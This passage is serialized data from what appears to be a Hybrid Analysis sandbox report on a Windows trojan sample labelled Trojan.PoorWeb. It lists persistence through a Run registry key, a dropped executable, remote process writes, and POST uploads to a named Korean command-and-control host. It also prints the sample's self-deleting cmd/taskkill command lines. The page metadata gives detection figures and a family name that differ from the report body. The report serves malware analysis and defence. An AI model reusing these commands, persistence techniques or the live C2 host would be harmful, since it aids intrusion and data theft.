\"C:\\73d65cd0b51 ...\" (UID: 00021217-00004204)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /im \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538f ...\" (UID: 00021346-00003056)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"sogoupin.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$26","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"youngs.dgweb.kr\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"sogoupin.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"taskkill.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.bin\" was detected as \"UPX v1.25 (Delphi) Stub\"\n \"sogoupin.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"","origin":"Static Parser","mitre_attack_id":"T1002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\".exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")\n \"sogoupin.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":"Dmx6\n 5PQA with unusual entropies 7.89091296151\n 7.85642910852","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"DES\" (Indicator: \"des\"; File: \"00021021-00002304.00000000.21225.00401000.00000040.mdmp\")","origin":"File/Memory","relevance":10,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"sogoupin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"taskkill.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"taskkill.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"sogoupin.exe\" sleeping for \"00300000\" milliseconds","origin":"API Call","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"3/70 reputation engines marked \"http://youngs.dgweb.kr\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /skin15/include/bin/home.php HTTP/1.1\nHost: youngs.dgweb.kr:80\nContent-type: multipart/form-data;boundary=-----------------------------0002e5e002b41\nContent-Length: 971\" with no payload\n \"POST /skin15/include/bin/home.php HTTP/1.1\nHost: youngs.dgweb.kr:80\nContent-type: application/x-www-form-urlencoded\nContent-Length: 22\" with no payload\n \"POST /skin15/include/bin/home.php HTTP/1.1\nHost: youngs.dgweb.kr:80\nContent-type: multipart/form-data;boundary=-----------------------------0001b95002f9a\nContent-Length: 971\" with no payload\n \"POST /skin15/include/bin/home.php HTTP/1.1\nHost: youngs.dgweb.kr:80\nContent-type: multipart/form-data;boundary=-----------------------------0007eea003cef\nContent-Length: 971\" with no payload\n \"POST /skin15/include/bin/home.php HTTP/1.1\nHost: youngs.dgweb.kr:80\nContent-type: multipart/form-data;boundary=-----------------------------0002ab3004f4d\nContent-Length: 971\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"sogoupin.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\".exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"RQSTUZV\"; Value: \"%PUBLIC%\\sogoupin.exe\")","origin":"Registry Access","mitre_attack_id":"T1060","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.7.3.2\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 119.207.79.31 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.bin\" has an entrypoint in section \"Dmx6\"\n \"sogoupin.exe\" has an entrypoint in section \"5PQA\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"VirtualProtect\n GetProcAddress\n VirtualAlloc\n LoadLibraryA\n InternetOpenA\n GetUserNameW\n InternetOpenW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$27","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Terminates other processes using tskill/taskkill","description":"Process \"taskkill.exe\" with commandline \"taskkill /im \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe\" /f\" (UID: 00021346-00003056)","origin":"Monitored Target","relevance":9,"id":"target-9","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"malicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines","description":"3/70 reputation engines marked \"http://youngs.dgweb.kr\" as malicious (4% detection rate)","origin":"External System","mitre_attack_id":"T1120","relevance":10,"id":"avtest-7","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"55/71 Antivirus vendors marked sample as malicious (77% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"55/71 Antivirus vendors marked sample as malicious (77% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"54/70 Antivirus vendors marked dropped file \"sogoupin.exe\" as malicious (classified as \"Trojan.PoorWeb\" with 77% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"54/70 Antivirus vendors marked spawned process \"sogoupin.exe\" (PID: 4212) as malicious (classified as \"Trojan.PoorWeb\" with 77% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\".exe\" allocated memory in \"%WINDIR%\\SysWOW64\\notepad.exe\"\n \".exe\" allocated memory in \"%WINDIR%\\SysWOW64\\cmd.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\".exe\" wrote 32 bytes to a remote process \"%PUBLIC%\\sogoupin.exe\" (Handle: 424)\n \".exe\" wrote 52 bytes to a remote process \"%PUBLIC%\\sogoupin.exe\" (Handle: 424)\n \".exe\" wrote 4 bytes to a remote process \"%PUBLIC%\\sogoupin.exe\" (Handle: 424)\n \".exe\" wrote 8 bytes to a remote process \"%PUBLIC%\\sogoupin.exe\" (Handle: 424)\n \"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\SysWOW64\\taskkill.exe\" (Handle: 128)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\SysWOW64\\taskkill.exe\" (Handle: 128)\n \"cmd.exe\" wrote 4 bytes to a remote process \"%WINDIR%\\SysWOW64\\taskkill.exe\" (Handle: 128)\n \"cmd.exe\" wrote 8 bytes to a remote process \"%WINDIR%\\SysWOW64\\taskkill.exe\" (Handle: 128)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$28","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"sogoupin.exe\" checked file \"C:\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \".exe\" (UID: 00021021-00002304)\n Spawned process \"cmd.exe\" with commandline \"cmd /c copy>\"%PUBLIC%\\sogoupin.exe\"\" (UID: 00021201-00001676)\n Spawned process \"sogoupin.exe\" (UID: 00021214-00004212)\n Spawned process \"cmd.exe\" with commandline \"/c \"dir /s %windir%\\system32\\*.sys&&taskkill /im \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe\" /f & dir /a /s %windir%\\system32\\*.msc && del \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe\"\"\" (UID: 00021217-00004204)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /im \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe\" /f\" (UID: 00021346-00003056)","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":76,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":18,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["ricochetchollima","targeted"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample not shared","TOR analysis"],"sandbox_reports":[{"id":"5d4831ec038838611c929974","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.PoorWeb","submit_name":"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe","analysis_start_time":"2019-08-05T13:38:44+00:00","indicators_count":{"informative":16,"suspicious":14,"malicious":9},"tags":["Multi-Process","Extracted Files","Sample not shared"],"is_in_unified_schema":true},{"id":"5d4831e90288386f33929b6c","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.PoorWeb","contacted_countries":["KOR"],"submit_name":"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe","analysis_start_time":"2019-08-05T13:38:46+00:00","indicators_count":{"informative":19,"suspicious":19,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample not shared","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"119.207.79.31","port":80,"protocol":"TCP","country":"Korea, Republic of","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]}],"dns_resolutions":[{"domain":"youngs.dgweb.kr","address":"119.207.79.31","ttl":599,"country":"Korea, Republic of","registrar_name":"KSHOSTING inc(http://www.ksdom.kr)","registrar_name_servers":"ns1.nccj.co.kr","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"domain":"youngs.dgweb.kr:80","address":"119.207.79.31","country":"Korea, Republic of","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]}],"http_requests":[{"host":"youngs.dgweb.kr","host_ip":"119.207.79.31:80","url":"/skin15/include/bin/home.php","method":"POST","header":"POST /skin15/include/bin/home.php HTTP/1.1\nHost: youngs.dgweb.kr:80\nContent-type: multipart/form-data;boundary=-----------------------------0002e5e002b41\nContent-Length: 971","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}],"processes":[{"pid":2304,"ppid":0,"name":"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe","command_line":"","sha256":"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8","normalized_path":"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe","uid":"00021021-00002304","icon":"$29"},{"pid":1676,"ppid":2304,"name":"cmd.exe","command_line":"cmd /c copy>\"%PUBLIC%\\sogoupin.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00021021-00002304","uid":"00021201-00001676"},{"pid":4212,"ppid":2304,"name":"sogoupin.exe","command_line":"","sha256":"ad3fada660f40b5d3ce2c6187dffc07507e7461a3d3ac249fbb6850e6028d517","normalized_path":"%PUBLIC%\\sogoupin.exe","parent_uid":"00021021-00002304","uid":"00021214-00004212"},{"pid":4204,"ppid":2304,"name":"cmd.exe","command_line":"/c \"dir /s %windir%\\system32\\*.sys&&taskkill /im \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe\" /f & dir /a /s %windir%\\system32\\*.msc && del \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe\"\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00021021-00002304","uid":"00021217-00004204"},{"pid":3056,"ppid":4204,"name":"taskkill.exe","command_line":"taskkill /im \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe\" /f","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\SysWOW64\\taskkill.exe","parent_uid":"00021217-00004204","uid":"00021346-00003056"}],"all_imported_dlls":["cryptbase.dll","KernelBase.dll","winnsi.dll","RpcRtRemote.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","shlwapi.dll","wbemprox.dll","winsta.dll","cryptsp.dll","fastprox.dll","advapi32.dll","api-ms-win-downlevel-version-l1-1-0.dll","mswsock.dll","secur32.dll","shell32.dll","wship6.dll","NapiNSP.dll","WSHTCPIP.DLL","sspicli.dll","webio.dll","version.dll","msvcr100.dll","netapi32.dll","srvcli.dll","wkscli.dll","clbcatq.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","wow64cpu.dll","psapi.dll","sechost.dll","wininet.dll","ole32.dll","apphelp.dll","kernel32.dll","iertutil.dll","rasadhlp.dll","mpr.dll","wow64.dll","dhcpcsvc.dll","wtsapi32.dll","rsaenh.dll","user32.dll","msvcrt.dll","api-ms-win-downlevel-user32-l1-1-0.dll","usp10.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","nsi.dll","dnsapi.dll","wbemsvc.dll","imm32.dll","profapi.dll","framedynos.dll","rpcrt4.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","IPHLPAPI.DLL","pnrpnsp.dll","netutils.dll","wbemcomn.dll","userenv.dll","winhttp.dll","gdi32.dll","winbrand.dll","msctf.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","nlaapi.dll","dbghelp.dll","ntdsapi.dll","normaliz.dll","winrnr.dll","wmiutils.dll","ntdll.dll","wow64win.dll","lpk.dll","ws2_32.dll","FWPUCLNT.DLL","oleaut32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"sogoupin.exe","sha256":"ad3fada660f40b5d3ce2c6187dffc07507e7461a3d3ac249fbb6850e6028d517","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]}],"files_written":[{"path":"%WINDIR%\\SysWOW64\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"path":"%WINDIR%\\SysWOW64\\taskkill.exe","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"path":"%PUBLIC%\\sogoupin.exe","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"path":"%WINDIR%\\SysWOW64\\notepad.exe","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\taskkill.exe.mui","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"path":"%WINDIR%\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"path":"%WINDIR%\\System32\\notepad.exe","sources":[{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"path":"%WINDIR%\\System32\\en-US\\taskkill.exe.mui","sources":[{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["5d4831ec038838611c929974","5d4831e90288386f33929b6c"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 73d65cd0b513… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 73d65cd0b513…. Malware family: Trojan.Generic. Threat score 100/100. 18/27 AV engines flagged this file. 11 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 73d65cd0b513… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 73d65cd0b513…. Malware family: Trojan.Generic. Threat score 100/100. 18/27 AV engines flagged this file. 11 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 73d65cd0b513… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 73d65cd0b513…. Malware family: Trojan.Generic. Threat score 100/100. 18/27 AV engines flagged this file. 11 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2a","11",{}]]